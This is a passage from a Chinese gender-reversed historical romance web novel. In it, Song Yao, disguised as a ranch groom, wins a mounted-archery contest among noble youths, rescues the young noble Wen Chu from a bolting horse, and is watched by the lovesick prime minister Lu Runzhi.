苏凝恭敬地作了一揖,接着从袖筒里掏出一个精美的小盒,递到陆润之面前,笑道:“丞相大人,这是陛下特地命臣送给大人的丹参膏,这不是听说大人您身上起了疹子,这丹参膏祛除疤痕的效果极好。” 陆润之接过丹参膏,“多谢苏大人,替我谢陛下隆恩。” “大人您客气了,大人日夜为国事操劳,陛下体恤大人辛苦,还望大人保重身体。”苏凝恭敬地行了个礼。 陆润之收下丹参膏,“苏大人,若没有别的事,我先回了,还有公务在身。” 苏凝恭敬弯腰,“大人,您慢走。” 陆润之微微颔首,转身离去。 苏凝望着他离去的背影,深紫色衣袍微动,端的是无人能及的风姿,想当年,天下之势稳固,陛下有意将丞相大人纳入后宫,邀丞相大人共享这万里江山,丞相大人坚定地拒绝,在此事之后半年,提出了辞官申请,又被陛下挽留。 陛下作为这天下最为尊贵的女子,风华正茂,仁厚礼贤,后宫侍夫也不多,丞相大人都不为所动,也不知什么样的女子能入得了他的眼。 不过陛下是明君,自然不会因为这样的事为难丞相大人,只是帝王之榻,岂容他人鼾睡,丞相大人是一介男子,还是有生育能力的男子,手握重权。 苏凝叹了一口气,也回了御书房。 皇帝将来年科考事宜教由礼部主办,丞相大人指导,注重科考内容的革新,贴近现实,为国选拔人才。 为此事,陆润之一连忙了几日,才拿出了初版方案,松了口气,便不由得想起宋瑶。 也不知她最近过得怎么样。 不敢再明目张胆去宋府打扰她,陆润之 写了信,托人送到宋府。 青连自是知道宋瑶回来了,也知道这信是送给宋瑶,只是如今,哪怕是他,也知道公子不便与宋瑶有过多的往来,便劝道:“公子,如今多年过去,您也该放下了。” 陆润之捏着笔一顿,像是没听到青连的话,淡淡道:“叫你去送便去送。” 宋瑶心似铁,之前为了她赶到扬州,都不见她有所动摇,何必再执着呢。 青连觉得公子在自欺欺人,像是生出了执念,男子终究逃不过情字。 送出去的信,自然没有回音。 宋瑶休假的日子过得很爽,每日睡到日上三竿,喝喝茶,下下棋,听听曲,买买古董,再逍遥自在不过,她在京城新发现了与一家茶楼,与扬州城她那家不相上下,下午的时候便去喝茶。 唯一不顺的便是陆润之送她的那盘棋,看似简单,却暗藏玄机,这些日子她复盘了几次,甚至拿着各大棋典,都毫无头绪,令她不由得有些抓耳挠腮。 碰巧此时,陆润之送来了一封信,信中别无它言,只寒暄了几句。 宋瑶想问他关于这棋局的事情,又觉得不妥,既已决定,便不要给人希望。 是以,过了几日,这棋盘日日在宋瑶瑶房中摆着,都没有丝毫进展。 宋瑶这样在京中逍遥了几日,宋琼的母爱终于耗尽,将宋瑶叫了去,交给她一件差事。 宋瑶无语,“娘,你答应我一个月休假,这还没到一个月呢。” 宋琼也无语,“你羞不羞,隔壁家女君,像你这个年纪,有一女一儿了。” 宋瑶本来吊儿郎当歪在榻上,听到此话,立刻直起了身,转移了话题,“娘亲,您说,有什么事交给我,我立刻去办。” 一说到这个话题就回避。 宋瑶瞪了她一眼,道:“前两年,你爹爹有阵子喜欢上骑马,我便买下了西郊的一个小型马场,生意不温不火,本就是供自家和生意上的友人使用,却不曾想前些日子,京兆尹找上门,说是看上了马场的环境,要包下马场一天。这些大官,好好的,有官署的马场不用,偏偏看中咱们这小马场,咱们自然没有办法拒绝,我担心出了岔子,你去盯着点。” 这事儿本不难,只是宋瑶忽然想到,陆润之前些日子邀请她去观看马赛,不知说的是不是这场。 既是工作,宋瑶便应下了,工作是工作,她向来公私分明。 赛马定在三日后,休沐之日。 宋瑶提前去检查场地,命人清扫场地,碾平如砥,洒油压尘,她们这马场的几匹马,那些人自然看不上,自行备马,宋瑶便请了大夫和兽医候着,以免发生意外。 一切确认完毕后,宋瑶挑了匹马,亲自上场试了试,确保没有问题。 马场的负责人孙大姐接过宋瑶手中的缰绳,夸赞道:“女君的骑术是我见过的里面数一数二的,身姿矫健,我都看呆了。” 孙大姐本来觉得宋瑶年纪轻轻,身形清隽,不善骑射,没想到骑术如此了得,而且办事也稳妥,怪不得宋老板如此放心叫她来盯着,宋瑶这周身气质,瞧着比那些贵族之女还要好些,倒不像区区一个商户之女。 很快便到了赛马这日。 孙大姐负责接待,宋瑶在一旁瞧着,这些富贵子女的马果然是好马,只可惜瞧着一个个腰肢无力,步伐虚浮,倒是有些浪费这些好马。 还有就是,陆大人没来。 宋瑶便没什么好顾忌的了。 第79章 宋瑶坐在看台上,百无聊赖地看着马场的那些人,日头有些大,她便撑了把伞,躲在伞下面,轻晃着团扇,观看比赛。 今日来的不少,约莫有二十人,牵着马参与比赛的只有八名女子,其余的都是看客,其中不乏年长的亲属,倒像是几个世家的聚会。 其中穿着淡黄色衣衫的小公子尤为惹人注目,被几个同龄少年和女子围着,众星拱月般的存在。 宋瑶瞧了两眼,想起孙大姐说的今日尚书令家的女君和小公子都会来观看马赛,据她对官吏架构的了解,便猜想那众星拱月的小公子便是尚书令家的。 不多时,马赛就开始了。 宋瑶发现她们不单单是赛马,而是比骑射,场地上固定位置已经放了圆形靶,八名参赛选手,四场比赛,八进五,五进三,最终决出一二三名。 比赛开始,宋瑶看了一会儿,只其中两名女子骑射水平较为突出,而那两名女子也像是彼此视为竞争对手,其余的水平不相上下。 而那名尚书令家的小公子坐在阴凉处的看台,左右围了一些人,视线显然也落在赛场上争夺一二名的女子身上。 似乎是察觉到她的视线,看台上其中一名男子看了过来,笑着对尚书令家的小公子说了什么,接着几人都望了过来,掩唇轻笑,又收回了视线。 宋瑶觉得他们可能在笑她一个女子还撑伞,她轻轻颔首,便收回了视线,泰然自若。 不多时,一名伙计跑了过来,她没见过宋瑶,瞧她穿着朴素,以为她是马场的下人,躲在这儿偷懒的,一个女子还撑着伞,细皮嫩肉的,跟男儿家似的,不过这幅皮囊长得倒是好看,怪不得能引起那些公子的注意。 宋瑶未起身,那伙计便蹲下,手里还拿着汗巾,搭在膝盖上,点了点她,“不干活儿,躲在这儿偷懒,小心被孙大娘逮住,快点过去吧,那些公子叫你过去伺候呢,你可得好好伺候着,那些可都是京中大官家的公子,你这模样生得也不错,若是被看中了,可就飞黄腾达了。” 宋瑶笑道:“是吗?” 伙计将毛巾甩到肩膀上,站起来,“快随我过去吧,好好表现。” 宋瑶不便暴露身份,过去兴许能听到点有用的消息,便起身,收了伞,跟了过去。 靠近的时候,宋瑶听到那些公子们似乎在讨论马匹。 “听说陶姐姐的马是特地从西域引进的宝马,果然名不虚传。” “前阵子我还听仆人说在街上看到了胡人……” “我娘亲说陛下准备开国门,促进和胡人的贸易,我也不太懂,据说是丞相大人的建议,这胡人有什么好东西……” …… 等宋瑶一走近,几名小公子的视线全都落在她身上,带着打量,许是大家的公子,顾及礼义廉耻,只匆匆看了一眼,便收回了视线,不便盯着外女长时间看,即便是个马夫也不行。 只有那个尚书令家的小公子,好奇的目光将她上上下下打量了一番,最后停在了她的脸上,唇角携了一丝笑,语气带着贵族的骄矜,“你叫什么名字?” 宋瑶微微躬身,不卑不亢,“公子称我姚颂即可。” “在我们温公子面前竟然不自称奴,你可知我们的身份。”另外一个蓝衣公子笑道,虽是责骂的话,但是他的声音清软,倒觉得是调侃,身边的人推了推他,像他投来不怀好意的眼神,似乎在说‘你平日可不是这样的’。 宋瑶抬眼看向那名说话蓝衣公子,这样的组合分外熟悉。 那蓝衣公子对上她的视线,便慌乱地把视线错开,耳尖却悄悄红了。 温初看了一眼蓝衣公子,暗笑他没出息,接着十分善解人意地笑道:“不必拘礼,我们既然是出来玩的,就不要在意这些繁文缛节。”顿了下,“姚颂,你是在这里的马夫吗?” 他的声音听起来天真不谙世事,就像是未出阁的公子的好奇,但是还是叫人听出了一丝优越感。 宋瑶的视线落在温初的身上,眼中浮现了浅浅的笑意,“是。” 温初愣了一下,眼睛眨了下,眸光微垂,看似盯着宋瑶,实际避开了她的视线,问道:“你既是这里的马夫,想必十分精通马术吧?” 这话可藏着大坑。宋瑶立刻道:“不懂。” 温初挑眉,“弓箭呢?” 宋瑶:“不懂。” 温初轻笑了笑,有些刺耳。 “小初,她就是一个普通的马夫,只会喂马,会骑马就不错了,你问她这作甚。”蓝衣公子笑道。 话落,那名蓝衣公子随即欢快地叫道:“快看!快看!陶姐姐第一!” 众人被他的话吸引,纷纷看向赛场。 宋瑶也看过去,姓陶,应是中书侍郎家的女君。 温初的瞧着赛场,不像其他男子那么激动,眼底滑过淡淡的无聊,细看之下,还有几分轻蔑,恰好被宋瑶捕捉到了。 宋瑶了然,怕是中书侍郎之女与另一名女子之间的竞争,就是为了这温小公子,其他人都是配角,而显然这温小公子谁也看不上,倒是旁边那个蓝衣公子更为激动些。 这哪里马赛,分明是赛马。 也不知这种马赛,陆润之邀请她来看什么。 五进三的比赛已经结束,中场休息,输掉的人也不甚在意,她们只是来玩的,真正比赛的是温臻、陶婉和安冉三人。 宋瑶根据他们聊天的内容已经判断出今日的核心便是那三名女子。 尚书令之女,温某。 中书侍郎之女,陶某。 还有一名,与陶某相争的女子,尚不清楚。 这样一看,今日倒真是聚集了京中达官显贵。 温臻、陶婉和安冉三人持着马鞭走来,额头上出了点薄汗,步伐稳健。 宋瑶默默退到了人群后,方才那伙计对她挤眉弄眼,用恨铁不成钢的眼神看了她一眼,随即叹息一声,似乎在说她没抓住机会。 宋瑶觉得有些好笑。 温臻:“今日真是酣畅淋漓,陶姐的骑射十分了得,阿臻甘拜下风。” 陶婉:“阿臻谬赞了,你的骑射也不错,我只是险胜。” 温臻:“安冉的骑射也十分令人惊叹,下一局可就是你们两个的对决局了。” 安冉:“温姐姐这话可是抬举我了。” 相谈甚欢。 温臻:“小初,你婉姐姐和安姐姐的骑术可是京中数一数二的,她们二人繁忙,今日她们可是特地抽出时间来参赛的。” 温初:“那多谢婉姐姐和安姐姐赏脸了,让大家看了这么一出精彩的比赛。” …… 全都是一番客套的话,宋瑶听了半天也只搞清楚了这几人的名字,尚书令之女温臻、中书侍郎之女陶婉、不知名安冉和本场戏的男主角尚书令之子温初。 这场古代大型相亲现场,宋瑶左耳朵进,右耳朵出,根本没有过脑子。 忽地,听到温初提到了她的名字,“若姐姐不能上场,便让姚颂替姐姐上场吧?” 温臻:“姚颂是谁?” 温初指了指后面躲着的宋瑶,“就是她,马场的马夫。” 瞬间,所有人的目光都聚集在宋瑶身上。 陶婉和安冉瞬间变了脸色。 宋瑶本想做个透明人,却没想到这个温初表面善解人意,实际上是个绿茶,且十分小心眼,睚眦必报。 她没有参与前两场比赛,又是“马夫”身份,怎么能跟陶婉和安冉一起比赛,况且方才她明确回答自己不懂骑射,温初却提出这般无理的要求,当真是恶毒,同时羞辱了三个人。 宋瑶觉得他多少有些不礼貌了,应是没有经历过社会的险恶。 第80章 温初的话一落地,旁边的人纷纷变了脸色,他这样的话不就是羞辱人的吗? 陶婉跟安冉虽在家世上比不过温初,但都是出身显贵之家,众星拱月,眼下温初却叫她们与一个马夫比赛,如此掉身价的事情,令陶婉当即黑了脸。 温初是正君所生的嫡子,从小被宠着长大,性子骄纵,眼高于顶,看不上陶婉和安冉,却架不住母亲的强势,心情自然不好,此事他虽然勾起嘴角笑着,笑意却不及眼底,烟波流转间,带着一丝轻蔑。 温臻没有料到自家弟会说出这样的话,顿时变了脸色,沉声道:“小臻,她一个马夫,如何能与陶婉和安冉相比?” 宋瑶:…… 合着她变成了这些世家子女play中的一环。 温初起桌上的马鞭,他今日穿了红色的骑马服,腰部束着,显露出纤细的腰肢,右手拿着马鞭,有一搭没敲着左手,没有理温臻的话,看向陶婉和安冉,弯了弯眼睛,笑容天真无邪,目光露出歉意,“是我说错了什么,冒犯道陶姐姐和安冉姐姐了吗?对不起,我没有那么多意思,只是觉得陶姐姐和安冉姐姐两人比实在无趣,便让这个马夫作陪而已,陶姐姐和安冉姐姐的骑射是中数一数二的,那小小马夫自然比不上。” 这番话说得让陶婉和安冉无法拒绝,否则倒显得她们小气了,只是跟这马夫相比,实在是自掉身价,令她们不悦。 温初扫了一眼陶婉和安冉的神色,眼底滑过不耐,面上还是保持良好的微笑,“既如此,我也加入最后一轮比赛,若你们二人谁能赢得第一名,我便嫁给谁。” 安冉看了一眼宋瑶,眼神很淡,接着对温初说:“既然温公子这么说了,比就是了。” 陶婉也应了。 宋瑶能怎么办呢,无人在乎她的意见,她只能去换衣服,半路却被温初叫住。 温初不知打哪儿冒出来,应当是躲开了那些人,只一人来的,他淡淡扫了一眼宋瑶,眼底滑过一道暗光,道:“待会儿赢了陶婉跟安冉,不管用什么手段,本公子赏你五十两。” 五十两。 一名官员大半年的俸禄。 但是还不够宋瑶去喝茶听取打赏的。 宋瑶挑了挑眉,意味不明地说了一句,“公子真大方。” 温初嗤笑一声,“五十两够你几年吃喝不愁了,少给我装,我知道你会骑射,而且对这马场再熟悉不过。” 事已至此,宋瑶算是看明白了。 温初谁也不想嫁,就是想利用她,合理地甩掉陶婉和安冉,且不说这五十两在宋瑶眼里不算什么,就算拿到了,恐怕有命拿,没命花。 他极度自负、冷漠自私,心思恶毒。 宋瑶这个倒霉蛋,他分明是想拖她下水。 赢了,陶婉和安冉不会放过她;输了,温初不会放过她。 “说话。”温初眼里的不耐都不屑于隐藏,磨磨唧唧,没一点女人样。 宋瑶心底泛起极淡的冷意,却仍勾起嘴角,恭敬道:“是,公子,我自当尽力。” 到底是个马夫,上不得台面,五十两就可以收买。 温初眼中轻蔑更甚,不耐地挥了挥手,“去换衣服,记得你答应我的。” 宋瑶微微颔首,越过他离去。 温初看着她的背影,敛了神色,小小马夫,就皮囊生得好了些,一点都不懂得例数,在他面前竟然连“奴”都不称。 如果他不爽,有一百种折磨她的办法。 宋瑶换了一身骑马装出来,头发竖了起来,身形挺拔,干练利落,冲淡了她本身的温和之气,眉眼间隐隐流露出一丝锐利。 孙大姐方才一直在一旁瞧着,心底都为宋瑶捏了一把汗,一颗心半上不下的,说起来少家主也是倒霉,做得那么远,都能引起注意,归根结底,还是惹人注目了些。 孙大姐瞧了她一眼,又瞧了她一眼。 宋瑶觉得有些好笑,便问:“怎么了?” 孙大姐不好意思地挠挠头,“没事,少家主何不与她们摆明身份,不必趟这个浑水。” 宋瑶笑道:“今日无聊我是这马场的老板还是马夫,都是一样的结局。” 孙大姐目露担忧,“少家主,我瞧着那些人都是不好惹的主,您可要仔细些,莫要把他们得知了。” 宋瑶神色淡了些,“我心中有数。” 不知怎么,孙大姐就是莫名地相信她。 第三场比赛是难度最高的,参赛人员需绕赛道三周,并在指定位置完成射靶,赛道设置了障碍,最终顺利抵达终点者 ,结合比赛完成时间和打靶所得分数,决定胜负。 宋瑶刚刚回京,还未购买马匹,孙大姐挑了马场最好的马给她,当她一牵出来,就受了不少鄙夷的目光。 温初先是瞧了一眼她的马匹,不屑地勾起嘴角,随即又上下打量了她,收回视线,眼角余光又不自觉朝她那边看去。 比赛开始。 陶婉和安冉势如破竹地冲出去,身形如箭,二人的骑射能获得赞誉,自然是有两把刷子。 温初紧随其后,作为一名男子,看着娇弱,实力却不容小觑,难怪如此猖狂。 反观宋瑶,并未像陶婉和安冉那般全力冲刺,而是稳稳地追在温初之后,一手持弓,一手拉着缰绳,目光沉静,始终保持着不近不远的距离,不急不躁,观察着前方陶、安二人的状况,同时将温初那匹马的动态尽收眼底。 温初眼角余光瞥见宋瑶落在身后,眸光沉了沉,果然是个上不得台面的,只敢在后面缩着。 令人意外的是,宋瑶虽慢,但是每次都能精准地跨过障碍,抵达箭靶的时候,夹紧马腹,从背上抽出羽箭,搭在弓箭上,拉弓,瞄准箭靶,果断放箭,稳稳地正中靶心,令场外的观众吃了一惊。 “没想到一个马夫还能有如此精妙的骑射之术。” “光是射箭有什么用,这可是比的骑射,她可是落后了一大截,连温公子都比不过。” “可是那个马夫射箭的动作好好看啊,可惜只是个奴隶。” 一圈过去,陶婉和安冉遥遥领先,温初紧紧盯着前方的两个身影,又扫了一眼身后始终不紧不慢跟着的宋瑶,眼底滑过一抹暗色,他咬了咬牙,猛地一夹马腹,枣红马长嘶一声,加速向前冲去。 宋瑶看着温初加速的身影,嘴角微不可察地勾起,同时压了压缰绳,也加速追了上去。 第二圈开始,除了栅栏,还增加了需要灵活绕行的旗门和一个小小的土坡,难度提升。陶婉和安冉依旧领先,但彼此间也开始了暗暗较劲,路线选择越发激进。 温初不甘落后,枣红马在他的催逼下有些躁动。 宋瑶沉稳地追在温初后面。 最后一圈,陶婉和安冉奋进全力冲刺,二者不遑多让,不分胜负,但显然宋瑶温初已经没有获胜的可能,陶婉和安冉未曾理会落在身后的二人,从始至终都没有将他们放在眼里,对手只有彼此。 温初心中的急躁显然按捺不住,果然,他就不该轻信一个小小的马夫,现在还得靠他自己,他再次狠狠地鞭策身下的马,企图追上前方的身影,眼瞧着没有希望,他紧紧盯着前方的两个身影,握紧了手中的弓箭,咬紧牙关,脸上的阴郁藏都藏不住。 而就在此时,宋瑶忽地开始发力,她身形伏在马背上,不再控制速度,身下的马仿佛挣脱束缚,爆发出惊人的速度,一息之间,便超越了温初。 温初只觉得一道残影从身旁极速略过,扬起灰尘,紧接着他看到了前方的人影,愣了一下,随即眼中的阴郁被惊喜取代,迸射出光芒,内心的压力忽然卸了下来。 宋瑶就像一直在后面打瞌睡,眼下终于认真了起来,以令人咋舌的速度冲刺,精准地跨过障碍物,百发百中,而她始终眼眸沉静,不骄不躁。 场外的人十分震惊,只见拿到藏青色的身影伏在马背上,势如破竹,像闪电一般,追了上去,即将就要超越了! 他们不由得紧张地站起来。 就在此时,陶婉感受到身后逐渐逼近的声音,输给安冉不要紧,若是输给一个马夫,丢人可丢大了,她眼中滑过一丝阴暗,抽出背上的羽箭,搭在弓山,趁着宋瑶过最后一道障碍的时候,射了出去。 这陶婉,不讲武德! 场外的人不由得为宋瑶捏了一把汗。 而宋瑶似乎早有预料,控制着缰绳,调整角度,减速,避开了这一箭,而紧接着,第二箭、第三箭齐齐飞来,宋瑶不得不策马在外侧的赛道避开。 温初紧追其后,前方灰尘弥漫,遮蔽了部分视线,不知发生了什么,心情大起大落,心绪不宁,等他逼近,迎面三箭穿破灰尘,朝他射来,他大惊,身下的马儿受到惊吓,猛地减速,前蹄高高抬起,长鸣一声,不受控制地脱离赛道。 正因如此,原本射向温初的两箭,贴着他的头皮和胸口擦过,受惊地奋力要将背上的人甩出去,温初脑中一片空白,求生的本能让他紧紧抓住缰绳,脸色泛白,额头冒出了冷汗。 就在这生死一线的刹那,一道藏青色的身影从侧里扑出,在温初马匹受惊要把温初甩出去的瞬间,捞住了温初的腰肢,用尽全身力气将他从马背上带离,狠狠扑向地面。 温初被这接二连三的剧变彻底震懵了,天旋地转,然后便是沉重的落地和翻滚,预想中的剧痛没有到来,反而被一个温热的怀抱紧紧包裹,落在了草地上。 他惊魂未定地睁开眼,视线首先触及的,是宋瑶近在咫尺的脸,那张沾满尘土的脸上,眼眸依旧沉稳如水,他贴在她胸前的柔软上,听到她的心跳都是沉稳的。 宋瑶轻轻吐出一口气,望向怀里的人,眼中是温和的笑意,“还好你没事。” 顿了下,她又道:“可别忘了我的五十两。” 温初的心跳很快,不知是吓得还是怎么,他下意识抓紧了宋瑶胸前的衣襟,却在触到那摸柔软时,像是被烫到了般,猛地缩回了手。 他的喉咙发涩,说不出任何话,眼神晦暗不明,腿脚发软。 还未等他回过神来,宋瑶就立刻放开了他。 “抱歉,冒犯了。” 她在笑着,细看之下眼里却没有一丝笑意,甚至有一丝冰冷。 今天的消息走不出这个马场。 陆润之赶来的时候,恰好看到这一幕,宋瑶发丝微乱,将温家那个小公子护在怀中,眉眼温和带笑,那温家的小公子拽着她的衣襟,瑟瑟发抖,脸色苍白,眼睛泛着水光,似乎是很依恋。 好一出英雌救美的戏码。 看不出来,温初也是个勾人的胚子。 陆润之眼神一黯,攥紧了拳头。 80-90 第81章 温初瘫坐在地上,紧紧捂着胸口,双腿发软,面色苍白,嘴唇轻颤,说不出一句话,惊魂未定。 宋瑶一瞧他这幅模样,便知他没有将自己的话听进去,遂又蹲下,扶了他的胳膊,关怀道:“温公子,你没事吧?” 话落,温初像是大梦初醒,抬眼对上宋瑶关怀的视线,忽然意识到,方才她竟然在众目睽睽之下抱着他,就那么紧紧地抱着他,被所有人都看到了。 “啪——” 温初猛地拍开了宋瑶的手,厉声道:“别碰我!” 她一个身份低贱的马夫,怎么敢那么……抱着他。 温初捂紧胸口,眸中流露出一丝难堪,苍白的脸颊因为羞愤而泛着红色,他瞥到宋瑶被他拍开的手微微泛红,眸光闪了闪,随即别开脸,紧咬着嘴唇。 宋瑶从容地收回手。 这时,温臻、陶婉和安冉,还有观众席上一行人匆匆赶过来,方才那一幕,把他们都吓死了,幸亏最后没事,没想到这个马夫还有两把刷子。 温臻看着地上狼狈的弟弟,心疼地将他扶起来,关怀道:“怎么样,有没有受伤?” 看着熟悉的姐姐,温初这才心神稍定,虽然那个低贱的马夫碰了他 ,但是他没有受一点伤,于是摇摇头。 温臻这才看向宋瑶,眼神带着不善,但是再怎么着,宋瑶还是救了温初,叫她无话可说,且这件事的始作俑者,另有其人,温臻再不爽,也不能将此时怪罪到宋瑶身上,只沉了声音,语气不善,“我警告你,这件事不许说出去!若是从这里传出去了,有你好果子吃,最后别有不该有的心思!” 她这话看似对着宋瑶说,实际上也是给在场的其他人听。 宋瑶拱手,低眉顺眼,“是。” 她拱手作揖,露出白皙的手腕,温初看到她右手手腕,从腕骨处一直延伸到小拇指外侧,擦破了皮,红彤彤的一片,露出皮下的嫩肉,看着渗人。 温初眼神微动,抿了抿唇,抓紧温臻的衣袖,别开了视线。 方才那一幕,场外的人看的清清楚楚,分明是陶婉故意针对宋瑶,那几箭来势汹汹,分明就是冲着宋瑶,而宋瑶为了自保躲开,才不幸波及到了温初。 温臻看向陶婉,陶婉目光闪躲,面露心虚。 温臻心底冷笑,在陶婉和安然之间,她一直最看好陶婉,出身高于安冉,只是没想到陶婉会做出这般蠢事,就算是针对那个马夫也无可厚非,只是做事这般不干脆利落,当真是不中用。 在这么多人面前,温臻也不至于为了一个马夫落了陶婉的面子,况且三人都是同龄人,她只是淡淡看了陶婉一眼,便收回了视线。 几个小公子顿时围着温初,言语关切。 温初已经平定了心绪,看着眼前的这些人,有些人是真的关心,有些人则是虚情假意,眼底藏着幸灾乐祸,目光来回在他和那个马夫之间扫视。 温初瞥了一眼站在一边沉默不语的宋瑶,当真是个傻的,姐姐说她,她也不知道辩解。 “怎么回事?” 忽然传来一道低沉的声音。 众人回头,大吃一惊,只见陆润之不知道什么时候出现在这里。 在场的人都是朝中重臣家的子女,自然在宫中各大宴会上有幸见过陆润之,只是往日丞相大人都着深色官袍,永远位于帝王左侧,高高在上,今日倒是着了浅色衣衫,衬得整个人更不似凡人,他一出场,便衬得在场打扮得花枝招展的公子们黯然失色。 “见过丞相大人。” 女子作揖,男子行礼,内心惶恐。 这场马赛,本来说是他们母亲打算参加的,预想的规模远远比今日要大,只是听说后来丞相大人不来了,便散了,是他们几个孩子,为了玩乐,才组织的,倒没想到,丞相大人在此刻出现,当真是稀奇。 陆润之的视线落在了最后面的宋瑶身上,又淡淡地收回,“不必多礼。” 温臻不愧是尚书令家的嫡女君,不卑不亢,笑着问道:“不知丞相大人到来,有失远迎,还望丞相大人莫怪。” 陆润之淡淡道:“无碍,我只是来路过,顺道来看看。” 马场距离城中需要半个时辰的时间,说是路过谁都不信。 陆润之的目光一一扫过众人,带着一丝压迫,是久居上位者养成的气势,那些小公子们大气不敢喘一下,就好像见到了圣上一样。 “方才听到了这边吵闹,发生了何事?”陆润之问道,视线落在了狼狈的温初身上。 温臻毕恭毕敬地回答:“回丞相大人,是我与陶婉、安冉赛马,小初他兴致上来了,也参与其中,却未料马儿受了惊,所幸无甚大碍,劳丞相大人挂心。” 也不知丞相大人看到了多少,温臻轻描淡写地带过,具体细节未提起,只为了遮掩宋瑶救了温初的事情,事关男子名节,知道的越少越好,保不齐丞相大人会说什么。 “是吗?”陆润之意味不明地反问,眼神仿佛洞穿了一切,他淡淡道:“我方才分明看到温公子从马背上摔下来,有人救了他。” 宋瑶眼观鼻,鼻观心,幸亏他没有提她的名字,不然惹来更多麻烦。 此话一出,令温臻和温初纷纷色变,也就说丞相大人看到了一切。 温初的眼神闪过慌乱,此事关系到男子的名节,方才他和那名马夫紧紧地搂在一起,虽然说那马夫是为了救他,但是事实是已经发生了的,丞相大人也看到了,丞相大人不会插手此事吧,万一……万一传了出去…… 陶婉和安冉也看到了……都怪陶婉那个贱人,若不是她…… 温初慌乱地看向温臻求救。 温臻正欲说话,却见陶婉朝陆润之行了一礼,朗声道:“启禀丞相大人,方才我与安冉按照温公子的要求,进行骑射比赛,规则既定,谁夺得第一,便可迎娶温公子,请丞相大人明鉴。” 规则是温初亲口说出,在场的人都听到,且方才虽有事故发生,但也是陶婉率先到达终点。 陶婉在这个时候说出,堵住悠悠众口,为了得到温初,当真是不择手段。 谁夺得第一,便可迎娶温初。陆润之低垂着眼眸,袖中的手微微握起,心头爬上了一丝酸涩和慌乱,她是特地参加的吗? 陆润之垂着眼,神色莫辩,令在场的人心都在打鼓,不知丞相大人在想什么。 半响,陆润之看向温初,“可有此事?” 温初咬着嘴唇,眼底情绪复杂,陶婉这个贱人,做出这般不要脸的事情,差点害了他,还想娶他,事已至此,温初一咬牙,跪在地上,“确有此事,只是丞相大人她陶婉在比赛中暗使阴招,故意针对马夫,还险些误伤了我,此局不能作数,请丞相大人明察。” 原来她是马夫的名义来参加,连真名都不肯暴露,肯定没有那个意思。 陆润之心头轻松了些许,压了压嘴角,没有着急下定论,而是扫视一周,问道:“裁判在哪里?” 孙大姐立刻从一旁来到陆润之面前,跪下,恭敬道:“草民孙晴,是本场比赛的裁判,见过丞相大人。” 陆润之:“方才最后一局比赛,谁是第一名?” 孙大姐呈上早已计算好的分数,“启禀丞相大人,根据骑射比赛的规则,需在比赛过程中同时计入射靶得分和最终完成比赛的时长,综合计算,最终分高者获胜,这是得分记录,最终获得第一名的是……马场的马夫姚颂。” 全场哗然。 陶婉色变。 温初跪在地上,大大地松了一口气。 安冉全程没什么情绪,仿佛只是来参加一场比赛。 细细想来这个结果也十分合理,那个马夫虽然开始落在后面,但是每一个射靶都正中靶心,而且最后一圈全力冲刺,也并未落下很多。 陆润之眼神一黯,接过裁判的打分表,紧抿嘴唇,手指捏紧了打分表,看了一眼宋瑶,神色晦暗不明。 既然没有那个意思,为什么要这么努力夺得第一名。 还是为了那个温初吗…… 宋瑶全程保持沉默,这种上流社会的较量,她不配参与,她只是一个无权无势空有美貌和金钱的小小马夫,拿人钱财,与人消灾,一切都不关她事。 温臻也跪下,拱手,语气着急,“丞相大人,那马夫连比赛都未完成,况且比赛途中还出了事故,无论从比赛的公平性还是结果来说,这局比赛都做不得数!” 陆润之拿着打分表,目光落在宋瑶的得分上,原来她的骑射水平这般好,他连这个都不知道…… 见丞相大人沉默,神色晦暗不明,温臻不由得着急,“请丞相大人明察!” 陆润之将打分表折好,收入袖中,扫了一眼众人,淡淡道:“婚姻大事,理应由家中母父做主,岂能儿戏,温臻你作为嫡女君,如何能由着弟弟的性子胡来,今日之事,就当从未发生过,任何人不得将今日之事走漏半点风声,听到没有?” “是,丞相大人。” 众人恭敬,齐齐回答。 这场闹剧就这样收场,众人散 去。 温初看着陆润之的身影,心生感激,丞相大人不仅明察秋毫,还为了他的名声,特地交代不要泄露出去,有了丞相大人的话,他就不担心了,果然男子最能理解男子。 那个马夫肯定是看准了时机,仗着自己稍有紫色,便想利用他飞上枝头,也不看看自己什么身份? 哼。 他得好好去警告她一番,叫她不要癞蛤蟆想吃天鹅肉。 “你啊,可不能再这么胡来了,今日还好有丞相大人在主持大局,才解决了事情,若是丞相大人没来,那马夫和陶婉闹起来,真不知如何收场。”温臻也被吓了一跳,她没想到陶婉竟然是这样的小人。 温初拉着温臻的袖子撒娇,“姐姐,我知道错了,再也不敢了,不过这不也让咱们看看清楚,陶婉到底是什么样的人。” 温臻叹道:“说得也是,你觉得那安冉怎么样,我瞧着倒是个办事沉稳的,虽然出身门第差了些。” 温初不乐意,“木头,呆呆的。” 温臻:“那回去便叫母亲另外再给你择一门亲事吧,倒也不急,你还小。” 温初眼珠子转了转,“姐姐,你那上好的金疮药呢?” 温臻上下打量了他,关怀道:“怎么了,可有哪里受伤?” 温初:“小事,好像膝盖擦破了皮,你借我用用,是不是带着呢?” 温臻便从袖子中掏出一小瓶金疮药递给他,“省着点用,这可是圣上赏赐的,非常珍贵。” 温初立刻接过,“哎呀,我知道了,谢谢姐姐,你最疼我了。” 说罢,他便拿着金疮药走了。 温臻在身后喊道:“你去哪里,我们要回去了。” “去换身衣服!”温初急匆匆走了。 待众人散去后,宋瑶便打算回去换掉身上衣服,收拾一下。 孙大姐跟在她身后,还心有余悸,感慨道:“方才真是吓死我了,我到现在都没回过神来,今日不光见到了朝中重臣的家眷,还见到了丞相大人,我这辈子都没见到这么多人。” 宋瑶有一搭没一搭地应和。 孙大姐:“你还别说,丞相大人是我见过长得最好看的人了,比那谁温家的小公子都好看,若不是丞相大人有能力,我还真怀疑他是靠着皮相获得了圣上的喜欢,你说他至今未嫁,是不是——” “孙姐慎言。”宋瑶淡淡地出声提醒。 孙大姐一顿,拍了一下自己的嘴巴,“你瞧我这张嘴,真是每个把门儿的!”顿了下,“不过话又说回来,温家的两姐弟可真不知好歹,您明明救了那温小公子,却被如此对待……您的骑射可真是精湛极了……” 宋瑶随便附和了两句,随即笑道:“我先去换衣服了,麻烦孙大姐清理一下马场了。” “欸。”孙大姐应道,半响,才发现了不对劲,少家主朝着下人更衣的地方走去,便高声喊道:“少家主,那里是下人们的更衣室!” 可惜为时已晚,她似乎没听到。 碰巧此时,孙大姐被伙计叫走,索性也没追上去,下人更衣的地方是简陋了些,但也无碍。 更衣室内,简陋的木门关不严实,漏了些许光进来,风一吹,便吱吱呀呀作响。 